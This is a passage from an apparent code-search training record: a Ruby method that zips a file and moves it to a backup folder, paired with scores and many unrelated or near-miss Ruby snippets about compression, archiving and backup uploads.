compute_dist(improper,Tiebreaker),\n improper\n ]].sort[0][-1].join\nend", "def get_ponderated_best\n # Maybe better trace if no results collected\n # @best_results.exists? ? Timing.new() : @ponderated_time\n @ponderated_time\n end", "def racquetLeft(racquet)\n if racquet - 2 != 1 #If the leftermost part of the racket isn't in the left wall\n return racquet - 1 #return the current position but 1 to the left \n else\n return racquet\n end\nend", "def when_to_run\n time - @@REMINDER_TIME\n end", "def find_journey(city1, city2, graph_instance)\n distance, previous = find_shortest_journey(city1, city2, graph_instance)\n puts \"Shortest distance is #{distance} with stopovers at\"\n c = city2\n while(true)\n if(c == city1)\n break\n end\n puts \"#{previous[c]}\"\n c = previous[c]\n end\nend", "def beginning_of_day\n self - self.seconds_since_midnight\n end", "def hurdleRace(k, height)\n if height.max < k\n 0\n else\n height.max - k\n end\nend", "def find_fork(wins, forker, forkee)\n position_counts = count_positions(wins, forker, forkee)\n forking_moves = []\n position_counts.each do |position, count|\n forking_moves.push(position) if count > 1\n end\n forking_moves = (forking_moves - (forking_moves & forker))\n forking_moves.empty? ? [] : forking_moves\n end", "def find_closest!\n 1000.times { @particles.values.map(&:tick) }\n closest = @particles.values.min { |p1, p2| p1.manhattan_distance <=> p2.manhattan_distance }\n end", "def first_moves(s)\n s[:m] = s[:unknown_moves][0] # Find first unknown move\n poss_moves = get_poss_next_moves(s)\n return poss_moves\nend", "def find_shortest(rootCode,goalCode)\n\tself.findHops(rootCode, goalCode, lambda{|flight,oldweight| oldweight+1})\nend", "def time_of_oldest_vote\n from_time = Time.now.utc\n if first=countings.find(:first, :order => 'created_at ASC')\n from_time=first.created_at if first.created_at<from_time\n end\n from_time\n end", "def closest_point(time)\n segment = segments.select { |s| s.contains_time?(time) }\n segment.first\n end", "def first_turn(pokemon1, pokemon2)\n if pokemon1.base_stats[:speed] > pokemon2.base_stats[:speed]\n 1\n elsif pokemon1.base_stats[:speed] == pokemon2.base_stats[:speed]\n rand(1..2)\n else\n 2\n end\n end", "def min_speed\r\n if @pitches.size > 0\r\n return (@pitches.min {|a,b| a.start_speed.to_f <=> b.start_speed.to_f }).start_speed\r\n end\r\n return 0\r\n end", "def minimumBribes(q)\r\n moves = 0\r\n r = (0..q.size-1).to_a\r\n\r\n until q == (1..q.size).to_a do\r\n q.map { |a| a - 1 }\r\n .reverse_each.with_index do |person, i|\r\n i = q.size - i - 1\r\n if person - i > 2\r\n puts \"Too chaotic\"\r\n return\r\n end\r\n\r\n if person > r[i] && person > q[person] -1\r\n moves += person - r[i]\r\n q = q - [person + 1]\r\n q.insert(person, person + 1)\r\n end\r\n end\r\n end\r\n\r\n puts moves\r\nend", "def basement_reached\n floors.index(-1)\n end", "def oldest_meaningful_end_time(top_event, max_event)\n\n #if they're the same, then no reason to do complicated math\n if top_event == max_event\n return top_event.end_time\n end\n \n min_ratio = top_event.score.to_f / max_event.score.to_f\n time_between = Math.log(min_ratio, 0.5) * Event::SCORE_HALF_LIFE\n min_end_time = [top_event.end_time - time_between, max_event.end_time.to_f].max\n\n return min_end_time\n end", "def calc_minimum_jumps(\n clouds:\n )\n jumps = 0\n index = 0\n # Iterate the loop untill index reaches the end\n until index == clouds.length-1\n \t# If there are 2 consucetive 0 increase index = 2\n if clouds[index+2] == 0\n jumps += 1\n index += 2\n elsif clouds[index+1] == 0\n jumps += 1\n index += 1\n end\n end\n jumps\nend", "def before( time )\n\t\treturn time - self\n\tend", "def before( time )\n\t\treturn time - self\n\tend", "def most_likely_duplicate\n possible_matching_people.first\n end", "def travel_time\n return 0 if points.count < 2\n\n points.last.record_time - points.first.record_time\n end", "def minimum_jumps(arr)\n # two arrays. One to keep track of minimum number of jumps needed to reach\n # the position. The other to keep track of which index was needed to reach\n # a given index position.\n num_jumps = [0]\n jump_idx = [nil]\n # use two pointers, one being the destination index and the other\n # being which index to jump from to reach it.\n destination_idx = 1\n while destination_idx < arr.length\n current_idx = find_starting_idx(destination_idx, jump_idx)\n p [current_idx, destination_idx]\n # break the inner while loop once we find an answer\n while current_idx < destination_idx && num_jumps[destination_idx].nil?\n if can_jump?(arr, current_idx, destination_idx)\n num_jumps[destination_idx] = num_jumps[current_idx] + 1\n jump_idx[destination_idx] = current_idx\n end\n current_idx += 1\n end\n destination_idx += 1\n end\n p jump_idx\n num_jumps.last\nend", "def time_to_solve\n self.kase && self.kase.time_to_solve ? self.kase.time_to_solve : 1.hour\n end", "def best_time(event)\n registrant_best_times.find_by(event: event) || registrant_choices.joins(:event_choice).merge(EventChoice.where(cell_type: \"best_time\", event: event)).first\n end", "def inflight(mins, movie_times)\n movie_times.each_with_index do |time, i|\n tmp = movie_times.dup\n tmp.slice!(i)\n diff = mins - time\n return true if tmp.include? diff\n end\n return false\nend", "def solution(a)\n # write your code in Ruby 2.2\n binding.pry\n trips = Hash.new {|h,k| h[k]=0}\n start = 0\n ending = 0\n min = nil\n a.each_with_index do |trip,i|\n ending = i\n\n if trips[trip] == 0\n min = ending - start\n end\n trips[trip] += 1\n\n while start < ending\n break if trips[a[start]] - 1 == 0\n trips[start] -= 1\n start += 1\n min = ending - start if ending-start < min\n end\n end\n min\nend", "def find_min\n loc = find_min_locator and loc.value\n end", "def commit_closest_earlier_pr(pr)\n walker = Rugged::Walker.new(git)\n walker.sorting(Rugged::SORT_DATE)\n walker.push(git.head.target)\n result = walker.reduce([]) do |acc, commit|\n if commit.time < pr[:created_at]\n acc << commit.oid\n else\n acc\n end\n end\n result.size > 0 ? result[0] : nil\n end", "def shortest_single_flight\n\n min_distance = @largest_integer\n flight = \"\"\n @query.get_graph.each_key do |city|\n route_dict = get_outgoing_routes(city)\n route_dict.each do |dest, dist|\n if dist < min_distance\n min_distance = dist\n flight = \"#{get_city_info(city,\"name\")}-#{dest}\"\n end\n end\n end\n\n return flight\n\n end", "def determine_best_delivery_time(time, program_player, player_budge)\n days_late = player_budge.days_late\n days_late = 0 if days_late < 0 # If it's scheduled for the future, for instance\n begin_window = player_budge.day_starts_at + days_late.days\n \n # Choose a random hour between auto_message.hour and auto_message.delivery_window\n if time == :best\n start_window = begin_window + self.hour.hours\n end_window = start_window + self.delivery_window.hours\n \n times = Array.new\n while (start_window <= end_window) \n times << start_window\n start_window += 1.hour\n end\n\n return times[rand(times.size)]\n \n # Go with their hard-coded time\n else\n return begin_window + time.hours\n end \n end", "def first_guess\n unmatched_pos || random_guess\n end", "def midnight_tonight\n (Time.now.to_date + 1).to_time\nend", "def nearest_index_at(time)\n return @index[time.to_i] if @index.key? time.to_i \n prev_i = -1\n i = data.find_index do |e| \n prev_i += 1\n e.timestamp > time.to_i\n end\n if i.nil?\n return prev_i unless prev_i < 0\n return nil\n elsif i.zero?\n return nil\n end\n i-1\n end", "def get_next_time(latest_movie, movie)\n #last movie is Movie_tuple v. movie obj\n m_time = latest_movie.time + latest_movie.duration.minutes\n\n movie.mtimes.each { |time|\n\n if ((time > m_time) && (time < m_time + TIME_BUF.minutes))\n return Movie_tuple.new(movie.mname, time, movie.mduration)\n end\n }\n\n return nil\n end", "def opening(day)\n Time.now.utc.midnight\n .advance(seconds: opening_second(day)).strftime('%H:%M')\n end", "def predecessor\n car.refuelings.order(:date).where(\"date < ?\", date).last\n end", "def first_departure_time(list, time)\n\n trains_at_11 = list.select do |trains|\n trains[:departure] == time\n end\n\n trains_at_11.map! do |train|\n train[:train]\n end\nend", "def min\n @min ||= time_parts[1]\n end" ]
[ "0.68020076", "0.67486966", "0.64500296", "0.6322793", "0.6066651", "0.6028723", "0.59674704", "0.59431905", "0.5876028", "0.58511865", "0.5822861", "0.5779878", "0.5779878", "0.57587063", "0.5705277", "0.5664379", "0.5642275", "0.5640777", "0.5628469", "0.5613698", "0.5561089", "0.5553423", "0.55396", "0.5536503", "0.54867715", "0.5472352", "0.54625505", "0.5459526", "0.5452161", "0.543563", "0.5423143", "0.5417775", "0.5394233", "0.5393156", "0.5392878", "0.53883094", "0.5384471", "0.5368785", "0.5365308", "0.53595996", "0.53556275", "0.53492653", "0.5340313", "0.53347856", "0.5331341", "0.5322014", "0.53058153", "0.52947515", "0.5281065", "0.5280392", "0.52778226", "0.52716523", "0.5268237", "0.5266064", "0.52461505", "0.5242395", "0.5236162", "0.5235353", "0.5233298", "0.523037", "0.52282953", "0.5208803", "0.51921654", "0.51886356", "0.5183623", "0.51779264", "0.5164463", "0.5161068", "0.5160295", "0.51584935", "0.51429814", "0.5136813", "0.5136017", "0.5135525", "0.51352245", "0.51298916", "0.5116982", "0.5114825", "0.51109385", "0.5101273", "0.5097603", "0.5097603", "0.5094997", "0.50897235", "0.50889397", "0.50834715", "0.50740284", "0.5073789", "0.5073106", "0.50707555", "0.5070295", "0.50638825", "0.50624734", "0.50613046", "0.5060802", "0.50554603", "0.5055352", "0.5053812", "0.5052891", "0.5046611", "0.504428" ]
0.0
-1
compress a file and move it to the backup folder
def backup_file folder,file @manager ||= Conf::LocalFileManager.new newp = File.join(Conf::directories.backup,@curr_source.name.to_s,folder) file.zip! unless file.zip? @manager.move_files [file],newp end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def compress(src_path, archive_path)\n src_dir = File.dirname( File.expand_path( src_path ) )\n src_file = File.basename( src_path )\n archive_path = File.expand_path( archive_path )\n dest_dir = File.dirname( archive_path )\n\n puts \"src_dir: #{src_dir}\"\n puts \"src_path: #{src_path}\"\n puts \"dest_dir: #{dest_dir}\"\n puts \"archive_path: #{archive_path}\"\n\n # Create the destination dir if it doesn't exist.\n if( !File.exists?( dest_dir ) )\n File.makedirs( dest_dir, true )\n end\n\n cmd_line = \"-tzip u #{archive_path} #{src_path}\"\n\n cur_dir = pwd\n cd( src_dir )\n begin\n execute( cmd_line, false )\n rescue\n # do nothing\n end\n cd( cur_dir )\n end", "def compress_file\n folder = \"./\"\n zipfile_name = \"./test_file.zip\"\n\n Zip::File.open(zipfile_name, Zip::File::CREATE) do |zipfile|\n zipfile.add(@file_name, File.join(folder, @file_name))\n end\n\n zipped_size = File.size('test_file.zip')\n @zip_test_ratio = (zipped_size * 1.0) / @file_size\n @zip_test_ratio = -1 if @file_size < 1000\n\n File.delete(\"./test_file.zip\")\n end", "def compress_files_and_copy\n timestamp = Time.now.strftime(\"%Y%m%d-%H%M%S\") + '_'\n tar_file = @backup_folder + timestamp + \"syc-backup.tar.gz\" \n tar_command = \"tar cfz #{tar_file} #{@files.join(\" \")}\"\n\n stdout, stderr, status = Open3.capture3(tar_command)\n\n unless status.exitstatus == 0\n STDERR.puts \"There was a problem executing command\"\n STDERR.puts tar_command\n STDERR.puts stderr\n exit status.exitstatus\n end\n\n tar_file\n end", "def compress_file!(file_name)\n zipped = \"#{file_name}.gz\"\n Zlib::GzipWriter.open(zipped) do |gz|\n gz.mtime = File.mtime(file_name)\n gz.orig_name = file_name\n gz.write File.binread(file_name)\n end\n p \" compressing (gzip) #{file_name} - before: #{File.size(file_name)} after: #{File.size(zipped)}\"\n zipped\n end", "def store_backup\n ret = true\n base = Util.data_path(EMMConfig[\"DATA_BACK_DIR\"])\n $files.each do |f|\n # directory of the file \n # LSMSS10, LSMSS30 , etc\n dir = File.basename(File.expand_path(\"#{f}/..\"))\n back_path = base + \"/\" + dir + \"/\" + File.basename(f)\n cmd = \"mv #{f} #{back_path}\"\n unless system(cmd)\n $stderr.puts \"Move #{cmd} did not work ... Next\" if $opts[:v]\n ret = false\n next\n end\n\n # compress the file\n cmd = EMMConfig[\"COMPRESS\"] + \" #{back_path}\"\n unless system(cmd)\n $stderr.puts \"Compress #{cmd} did not work ... Next\" if $opts[:v]\n ret = false\n next\n end\n end \n ret\nend", "def compress(directory, file)\n compression.compress_command + [file, directory]\n end", "def archive\n files.each do |path|\n path_obj = Pathname.new(path)\n path_name = path_obj.dirname.to_s\n compress = Kellerkind::Compress.new(:target_path => out,\n :source_path => path,\n :tarball_prefix => path_obj.basename.to_s)\n compress.find_at_source_path = true\n if File.exists?(path)\n Kellerkind::Process.verbose(:start_compressing)\n compress.gzip\n if File.exists?(\"#{path_name}/#{compress.tarball_name}\")\n Kellerkind::Process.verbose(:finished_compressing)\n FileUtils.mv(\"#{path_name}/#{compress.tarball_name}\",\n \"#{out}/#{compress.tarball_name}\")\n FileUtils.rm_rf(path)\n FileUtils.touch(path) if self.recreate\n end\n end\n end\n end", "def backup\n inexistent_files = check_for_inexistent_files\n unless inexistent_files.empty?\n STDERR.puts \"Cannot backup inexistent files\"\n STDERR.puts inexistent_files.join(\" \")\n exit 1\n end\n\n FileUtils.mkdir_p @backup_folder unless File.exists? @backup_folder\n\n if @no_compress \n copy_files \n delete_uncompressed_backups\n else\n compress_files_and_copy\n delete_compressed_backups\n end\n\n end", "def compress(file, target)\n mtime = Sprockets::PathUtils.stat(target).mtime\n archiver.call(file, source, mtime)\n\n nil\n end", "def archive(file)\n FileUtils.mv(file, @archive_location)\n end", "def compress!\n File.open(@file_path, 'w') { |file| file.write(output) } if compress.modified?\n self\n end", "def archive_incoming_file(filename, filepath)\n if ENV.key?(\"DIAVERUM_DO_NOT_USE_MV\")\n FileUtils.cp filepath, Paths.incoming_archive.join(filename)\n FileUtils.rm filepath\n else\n FileUtils.mv filepath, Paths.incoming_archive.join(filename)\n end\n end", "def compress_file(pfilename)\n \t#path = pfilename.sub(%r[/$],'')\n\tpath = File.dirname(pfilename)\n\tarchwin = File.join(path,File.basename(pfilename))+'.zip'\n\t\n\tarchive = File.basename(pfilename)+'.zip'\n\truta = File.basename(pfilename)\n if File.exist?('/dev/null') #si es linux\n\t system(\"cd #{path} && zip -r #{archive} #{ruta}\")\n\t return path + '/' + ruta + '.zip'\n\telse \n\t system(\"alzip -a #{pfilename} #{archwin}\")\n\t return path + '\\\\' + ruta + '.zip'\n\tend \n end", "def backup_existing_file(file_path)\n FileUtils.move(file_path, \"#{file_path}-#{Time.now.to_i.to_s}\")\n end", "def tgz___( directory, filename )\r\n raise StandardError, \"Under investigation\" \r\n got = @ndev.rpc.file_archive( :destination => filename, :source => directory, :compress => true )\r\n end", "def create_gzip_file(file) \n unless (MIME::Types.type_for(file).first.try(:media_type)==\"image\" or MIME::Types.type_for(file).first.try(:raw_sub_type)==\"x-shockwave-flash\")\n file_name=file.gsub(\"#{Rails.root}/public/\",\"\")\n new_file_path=\"#{Rails.root}/s3_assets/#{file_name}\"\n base_name=File.basename(file)\n dir_name=new_file_path.gsub(base_name,\"\")\n #no need to compress image files\n FileUtils.mkdir_p(dir_name) unless File.directory? dir_name\n system(\"gzip -c #{file} > #{new_file_path}\")\n end\n end", "def compress(path)\n Monsove.logger.info(\"Compressing database #{path}\")\n\n system(\"cd #{path} && tar -cjpf #{path}.tar.bz2 .\")\n raise \"Error while compressing #{path}\" if $?.to_i != 0\n end", "def move_compressed_task_to_new(task)\n # student_work_dir(:new, task) # create task dir\n extract_file_from_done task, student_work_dir(:new), \"*\", lambda { | task, to_path, name | \"#{to_path}#{name}\" }\n end", "def move_temp_to_destination\n if !File.exist? temp_file\n $logger.info \"no moving, transcode didn't complete\"\n return\n end\n $logger.info \" moving (temp->destination)\\n #{temp_file} ->\\n #{destination_file}\"\n FileUtils.mv temp_file, destination_file\n end", "def move_file\n\n end", "def compress(path)\r\n gem 'rubyzip'\r\n require 'zip/zip'\r\n require 'zip/zipfilesystem'\r\n path.sub!(%r[/$],'')\r\n archive = File.join(path,File.basename(path))+'.zip'\r\n FileUtils.rm archive, :force=>true\r\n\r\n Zip::ZipFile.open(archive, 'w') do |zipfile|\r\n Dir[\"#{path}/**/**\"].reject{|f|f==archive}.each do |file|\r\n zipfile.add(file.sub(path+'/',''),file)\r\n end\r\n end\r\n end", "def compress_and_upload(google_folder, dirname)\n puts \"Compressing and uploading #{dirname} to Google Drive...\"\n compressed_name = \"#{dirname}.tar.gz\"\n system \"tar -czf #{compressed_name} #{dirname}\"\n google_folder.upload_from_file(compressed_name)\n File.delete(compressed_name)\nend", "def move_package\n begin\n package_file = File.join(@tmpdir, 'pkg', \"#{@plugin.vendor}-#{@package_name}-#{@plugin.metadata[:version]}.tar.gz\")\n FileUtils.cp(package_file, '.')\n rescue => e\n puts 'Could not copy package to working directory'\n raise e\n end\n end", "def compress\n @env[:ui].info I18n.t(\"vagrant.actions.general.package.compressing\", :tar_path => tar_path)\n File.open(tar_path, Platform.tar_file_options) do |tar|\n Archive::Tar::Minitar::Output.open(tar) do |output|\n begin\n current_dir = FileUtils.pwd\n\n copy_include_files\n\n FileUtils.cd(@env[\"package.directory\"])\n Dir.glob(File.join(\".\", \"**\", \"*\")).each do |entry|\n Archive::Tar::Minitar.pack_file(entry, output)\n end\n ensure\n FileUtils.cd(current_dir)\n end\n end\n end\n end", "def compress_source_tgz(path)\n tarfile = Tempfile.create([\"vagrant\", \".tar\"])\n tarfile.close\n tarfile = File.open(tarfile.path, \"wb+\")\n tgzfile = Tempfile.create([\"vagrant\", \".tgz\"])\n tgzfile.close\n tgzfile = File.open(tgzfile.path, \"wb\")\n tar = Gem::Package::TarWriter.new(tarfile)\n tgz = Zlib::GzipWriter.new(tgzfile)\n if File.file?(path)\n tar.add_file(File.basename(path), File.stat(path).mode) do |io|\n File.open(path, \"rb\") do |file|\n while bytes = file.read(4096)\n io.write(bytes)\n end\n end\n end\n else\n Dir.glob(File.join(path, \"**/**/*\")).each do |item|\n rel_path = item.sub(path, \"\")\n item_mode = File.stat(item).mode\n\n if File.directory?(item)\n tar.mkdir(rel_path, item_mode)\n else\n tar.add_file(rel_path, item_mode) do |io|\n File.open(item, \"rb\") do |file|\n while bytes = file.read(4096)\n io.write(bytes)\n end\n end\n end\n end\n end\n end\n tar.close\n tarfile.rewind\n while bytes = tarfile.read(4096)\n tgz.write bytes\n end\n tgz.close\n tgzfile.close\n tarfile.close\n File.delete(tarfile.path)\n tgzfile.path\n end", "def zip(file, options = Hash.new)\n if options[:output_path]\n output_path = options[:output_path]\n else \n output_path = File.dirname(File.expand_path(file))\n end\n \n options[:remove_original] = true if options[:remove_original].nil?\n \n decompressed_filename = File.expand_path(file)\n compressed_filename = File.join(output_path, File.basename(file) + '.bz2')\n puts \"Compressing #{decompressed_filename} to #{compressed_filename}\"\n Bzip2::Writer.open(compressed_filename, 'w') do |compressed_file|\n File.open(decompressed_filename, 'r') do |decompressed_file|\n compressed_file << decompressed_file.read\n end\n end\n\n if File.exist?(compressed_filename)\n File.delete(decompressed_filename) if options[:remove_original]\n end\n \n return compressed_filename\n end", "def compress_file(*path)\n compressed_path = path.dup\n compressed_path.push(\"#{compressed_path.pop}.gz\")\n base_file = File.open(for_file(path))\n create_file(compressed_path) do |file|\n compressor = Zlib::GzipWriter.new(file)\n while data = base_file.read(2048)\n compressor.write(data)\n end\n compressor.close\n end\n end", "def backup\n FileUtils.cp options[:file], backup_file if File.file? options[:file]\n end", "def save\n return if File.exists?(file)\n\n # Create parent directories\n FileUtils.mkdir_p(File.dirname(file))\n\n File.open(file, \"w\") do |f|\n f.write(compressed_contents)\n end\n\n puts \"Wrote blob #{file}\"\n end", "def compress_source_zip(path)\n require \"zip\"\n zipfile = Tempfile.create([\"vagrant\", \".zip\"])\n zipfile.close\n if File.file?(path)\n source_items = [path]\n else\n source_items = Dir.glob(File.join(path, \"**\", \"**\", \"*\"))\n end\n c_dir = nil\n Zip::File.open(zipfile.path, Zip::File::CREATE) do |zip|\n source_items.each do |source_item|\n next if File.directory?(source_item)\n trim_item = source_item.sub(path, \"\").sub(%r{^[/\\\\]}, \"\")\n dirname = File.dirname(trim_item)\n zip.mkdir dirname if c_dir != dirname\n c_dir = dirname\n zip.get_output_stream(trim_item) do |f|\n source_file = File.open(source_item, \"rb\")\n while data = source_file.read(2048)\n f.write(data)\n end\n end\n end\n end\n zipfile.path\n end", "def promote(backup_name, file, type)\n @s3_client.copy(backup_name, file, type)\n end", "def compress(target)\n mtime = PathUtils.stat(target).mtime\n PathUtils.atomic_write(\"#{target}.gz\") do |f|\n gz = Zlib::GzipWriter.new(f, Zlib::BEST_COMPRESSION)\n gz.mtime = mtime\n gz.write(@source)\n gz.close\n\n File.utime(mtime, mtime, f.path)\n end\n\n nil\n end", "def transfer!\n backup = connection.backups.create\n Logger.info \"Created backup [#{backup.id}]\"\n\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n metadata = {}\n\n [:sha512sum, :sha1sum, :cksum].each do |cmd|\n if !`which #{cmd}`.empty?\n metadata[cmd] = %x|#{cmd} #{src}|.split.first\n break\n end\n end\n\n metadata[:size] = %x|ls -sh #{src}|.split.first\n\n backup_file = backup.files.create(filename: src, metadata: metadata)\n Logger.info \"Created backup file [#{backup_file.id}]\"\n\n Logger.info \"EngineYard performing upload of '#{File.join(src)}' to '#{backup_file.upload_url}' with metadata '#{metadata.inspect}'.\"\n\n backup_file.upload(file: src)\n end\n Logger.info \"Finished uploading files for backup [#{backup.id}]\"\n\n backup.finish!\n\n Logger.info \"Finished backup [#{backup.id}]\"\n end", "def compress(path, archive)\n require 'zip/zip'\n require 'zip/zipfilesystem'\n\n path.sub!(%r[/$], '')\n ::Zip::ZipFile.open(archive, 'w') do |zipfile|\n Dir[\"#{path}/**/**\"].reject { |f| f==archive }.each do |file|\n print_line(\"Adding #{file} to archive\")\n zipfile.add(file.sub(path+'/', ''), file)\n end\n end\n print_line(\"All files saved to #{archive}\")\n end", "def backup(file_path)\n file_path = clean_path(file_path)\n\n begin\n dest_path = file_path\n dest_path = '/' + @namespace + file_path if @namespace\n dest_path = @repository_path + dest_path\n\n dirname = File.dirname(dest_path)\n\n # Make sure the path exists in the repo\n if !File.exists?(dirname)\n FileUtils.mkdir_p(dirname)\n end\n\n # Copy the file(s) to the repo\n if File.exists?(file_path)\n # Make sure we only copy the directory contents,\n # not the directory itself.\n if File.directory?(file_path)\n file_path += '/.'\n end\n\n # We pass remove_destination to avoid issues with symlinks\n FileUtils.cp_r file_path, dest_path, :remove_destination => true\n else\n puts \"ERROR: '#{file_path}' doesn't seem to exist.\"\n end\n rescue Errno::EACCES\n puts \"ERROR: '#{file_path}' doesn't seem to be readable and/or writable by this user.\"\n end\n end", "def copy_to_backup\n FileUtils.cp(@original_file_path, @new_file_path)\n end", "def make_tarball(destination, conf,curDir)\n\tDir.chdir(curDir)\n\n gzip = Zlib::GzipWriter.new(File.open(destination, 'wb'))\n tar = Minitar::Output.new(gzip)\n\t conf[:zipFiles].each { |f|\tMinitar.pack_file(f, tar) }\n tar.close\n\n conf[:backupSize]=File.size(destination) #remember archive size\nend", "def action_compress\n # Check if the file to back up already exists\n if ::File.exists?(current_resource.name)\n\n # If the backup file exists, calculate its age\n if ::File.exists?(current_resource.backup_file)\n backup_file_age_hours = (Time.now -\n ::File.mtime(current_resource.backup_file))/60/60\n end\n\n # If the backup file is over 24 hours old (which also means \n # that it exists)\n if !::File.exists?(current_resource.backup_file) ||\n backup_file_age_hours > 24\n\n # Check if the number of backups we want to keep is > 0\n # before trying to rotate\n if @current_resource.num_backups < 0\n # Wrap changing logic in converge_by so it works in why-run mode\n converge_by(\"Rotate backup files \"+\n \"(retaining maximum #{@current_resource.num_backups})\") do\n # Rotate existing backup files\n (@current_resource.num_backups - 1).downto(1).each do |f|\n if ::File.exists?(\"#{current_resource.backup_file}-#{f}\")\n ::FileUtils.mv(\"#{current_resource.backup_file}-#{f}\",\n \"#{current_resource.backup_file}-#{f+1}\")\n end\n if ::File.exists?(current_resource.backup_file)\n # Rotate current backup file\n ::FileUtils.mv(current_resource.backup_file,\n \"#{current_resource.backup_file}-1\")\n end\n end\n end\n end\n\n # Wrap changing logic in converge_by so it works in why-run mode\n converge_by(\"Create backup file #{ new_resource.backup_file }\") do\n # Compress the specified file with the specified name\n Chef::Log.info(\"Compressing #{new_resource.name}...\")\n Zlib::GzipWriter.open(new_resource.backup_file) do |gz|\n gz.write IO.binread(new_resource.name)\n end\n end\n\n # Indicate to Chef that we updated new_resource because we \n # changed the node\n new_resource.updated_by_last_action(true)\n else\n Chef::Log.warn(\"Backup file #{new_resource.backup_file} is only \" +\n \" #{backup_file_age_hours.round(2)} hours old.\n (Action will be skipped).\")\n end\n else\n Chef::Log.warn(\"Can't find #{new_resource.name} to back up. \" +\n \" (Action will be skipped).\")\n end\n end", "def backup(file)\n raise(ArgumentError, \"File #{file} does not exist\") unless ::File.exist?(file)\n contents = IO.binread(file)\n begin\n file_bucket_file = Puppet::FileBucket::File.new(contents, :bucket_path => @local_path)\n files_original_path = absolutize_path(file)\n dest_path = \"#{@rest_path}#{file_bucket_file.name}/#{files_original_path}\"\n file_bucket_path = \"#{@rest_path}#{file_bucket_file.checksum_type}/#{file_bucket_file.checksum_data}/#{files_original_path}\"\n\n # Make a HEAD request for the file so that we don't waste time\n # uploading it if it already exists in the bucket.\n unless Puppet::FileBucket::File.indirection.head(file_bucket_path)\n Puppet::FileBucket::File.indirection.save(file_bucket_file, dest_path)\n end\n\n return file_bucket_file.checksum_data\n rescue => detail\n puts detail.backtrace if Puppet[:trace]\n raise Puppet::Error, \"Could not back up #{file}: #{detail}\"\n end\n end", "def compress(path, compress_tar_file)\n Mongolicious.logger.info(\"Compressing database #{path}\")\n\n system(\"cd #{path} && tar -cpf#{compress_tar_file ? 'j' : ''} #{path}.tar.bz2 .\")\n raise \"Error while compressing #{path}\" if $?.to_i != 0\n\n # Remove mongo dump now that we have the bzip\n FileUtils.rm_rf(path)\n\n return \"#{path}.tar.bz2\"\n end", "def compress!; end", "def compress(path)\n path.sub!(%r[/$],'')\n archive = File.join(path,File.basename(path))+'.zip'\n FileUtils.rm archive, :force=>true\n Zip::File.open(archive, 'w') do |zipfile|\n Dir[\"#{path}/**/**\"].reject{|f|f==archive}.each do |file|\n zipfile.add(file.sub(path+'/',''),file)\n end\n end\n archive\n end", "def compress(img, path)\n puts 'Compressing image.'\n image_optim = ImageOptim.new(allow_lossy: true, verbose: false, skip_missing_workers: true, optipng: false,\n pngcrush: false, pngquant: { allow_lossy: true },\n advpng: false, pngout: false, svgo: false)\n File.rename(image_optim.optimize_image(img), path)\n puts 'Image copied and compressed.'\n end", "def compress_directory dir\n if File.directory? dir\n puts \"# - Compressing directory: #{dir}\"\n dir_compressed_name = dir.sub(\".\",'').sub(\"/\",'').gsub(\"/\", '_')[0..-2]\n system(\"tar\",\"-pczf\",\"#{dir_compressed_name}.tar.gz\", \"#{dir}\") if File.exist? dir\n \"#{dir_compressed_name}.tar.gz\"\n else\n raise \"Could not compress the following directory: #{dir}\"\n end\nend", "def backup(path_to_backup_file) \n logger.info \"Uploading backup to FTP: #{worker.user_host_and_dir}\"\n @worker.connect_and_put_file path_to_backup_file\n end", "def transfer!\n begin\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\" to bucket \\\"#{ bucket }\\\"\")\n connection.sync_clock\n connection.put_object(\n bucket,\n File.join(remote_path, remote_file),\n File.open(File.join(local_path, local_file))\n )\n rescue Excon::Errors::NotFound\n raise \"An error occurred while trying to transfer the backup, please make sure the bucket exists.\"\n end\n end", "def mv srcpath, dstpath\n end", "def put_into_archive(disk_file_path, zipfile, zipfile_path)\n zipfile.get_output_stream(zipfile_path) do |f|\n f.write(File.open(disk_file_path, 'rb').read)\n end\n end", "def copyZipContents(file,zipdestination)\n Zip::ZipFile.open(file) { |zip_file|\n zip_file.each { |f|\n f_path=File.join(zipdestination, f.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(f, f_path) unless File.exist?(f_path)\n }\n }\nend", "def unzip(filelocation)\n `unzip #{filelocation}`\n `mv corncob_lowercase.txt dat/`\n `rm #{filelocation}`\n `mv dat/corncob_lowercase.txt #{filelocation}`\n end", "def backup(path, options={})\n backup_path = \"#{path}.bak\"\n if options[:mv]\n mv_f path, backup_path\n else\n cp_f path, backup_path\n end\n \n chmod 644, backup_path\n\nend", "def compress_done_files(task)\n task_dir = student_work_dir(:done, task, false)\n zip_file = zip_file_path_for_done_task(task)\n return if (zip_file.nil?) || (not Dir.exists? task_dir)\n\n FileUtils.rm(zip_file) if File.exists? zip_file\n\n input_files = Dir.entries(task_dir).select { | f | (f =~ /^\\d{3}\\.(cover|document|code|image)/) == 0 }\n\n Zip::File.open(zip_file, Zip::File::CREATE) do | zip |\n zip.mkdir \"#{task.id}\"\n input_files.each do |in_file|\n zip.add \"#{task.id}/#{in_file}\", \"#{task_dir}#{in_file}\"\n end\n end\n\n FileUtils.rm_rf(task_dir)\n end", "def extract\n base.say_status 'extract', @file\n if @zip_file\n base.exec(\"cd #{@temp_dir} ; unzip #{@file}\")\n else\n base.exec(\"cd #{@temp_dir} ; tar xvfpz #{@file}\")\n end\n \n # Remove the file\n base.destination_files.rm_rf(@file_path)\n end", "def compress(file)\n if File.file?(file) # file file file file\n content = File.read(file)\n zipped = Zlib::Deflate.deflate(content)\n puts \"Compressed '#{File.basename(file)}' : #{content.size - zipped.size} bytes smaller than original\"\n return zipped\n else\n return false\n end\n end", "def deploy(file, file_compression_format)\n extractor = Nucleus::ArchiveExtractor.new\n unless extractor.supports? file_compression_format\n raise Errors::AdapterRequestError,\n 'Unsupported format of the application archive'\n end\n\n push_repository_changes do |repo_dir|\n # now remove all current files, except the git db\n Find.find(repo_dir) do |f|\n next if f.start_with?(\"#{repo_dir}/.git\") || f == repo_dir\n FileUtils.rm_rf(f) if File.directory?(f)\n FileUtils.rm_f(f) if File.file?(f)\n end\n\n # uncompress and extract to\n extracted = extractor.extract(file, repo_dir, file_compression_format)\n raise Errors::AdapterRequestError, 'Invalid application: Archive did not contain any files' if extracted.zero?\n\n # if the application was wrapped within a directory, move all 1st level files and dirs to the root\n sanitizer = Nucleus::ApplicationRepoSanitizer.new\n sanitizer.sanitize(repo_dir)\n end\n nil\n end", "def package!\n return unless @model.compressor\n\n pipeline = 